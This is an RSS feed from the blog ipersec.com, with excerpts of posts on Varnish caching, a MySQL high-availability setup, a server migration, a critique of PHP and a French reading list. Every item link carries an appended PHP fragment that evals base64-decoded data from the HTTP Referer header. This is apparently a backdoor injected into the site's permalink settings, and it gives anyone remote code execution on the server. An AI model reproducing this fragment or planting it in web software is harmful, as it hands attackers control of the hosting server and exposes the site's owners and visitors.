http://www.ipersec.com internet Performance & Security Wed, 04 Feb 2009 10:50:38 +0000 http://backend.userland.com/rss092 fr It's been quite a long time I've been playing with varnish, but only a couple of weeks using it with real traffic (> 1000 req/s) on wat.tv. On a small site (like ipersec), varnish works fine "out of the box", and there is little need to tune, but one a large ... http://www.ipersec.com/2009/02/04/understanding-varnish-cache-handling/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Building a simple HA MySQL setup is pretty straightforward. In my setup, I used master-master replication, with only one server being active at a given time (the primary node), the other one being a backup. When in nominal mode, the application writes to the primary server, and data is replicated to ... http://www.ipersec.com/2008/12/06/high-availability-mysql-setup/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I just switched ipersec to a new server platform (two quad core servers, each with 4GB RAM). My plan is to build a HA platform (mainly active/passive). The two servers aren't on the same network, preventing me from using heartbeat (there might be a trick, but my knowledge of heartbeat is ... http://www.ipersec.com/2008/11/19/switching-to-a-new-server/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Why I don't like PHP After having spent quite a few years programming PHP (from functional to OO programming), I just realized I don't really like this language. The main problems I think are with PHP being : The lack of consistency : functions not always follow the same naming conventions (underscore, ... http://www.ipersec.com/2008/09/01/switching-from-php-to-ruby/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Me voici de retour après une longue absence loin d'ipersec (mais bien active par ailleurs). En attendant de reprendre la publication de nouveaux articles techniques, voici quelques conseils de lecture hors-sujet : Le blog de Maître Eolas, où officie un avocat qui ne manque pas de verve Si la sécurité (au sens large) ... http://www.ipersec.com/2008/09/01/quelques-conseils-de-lecture/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/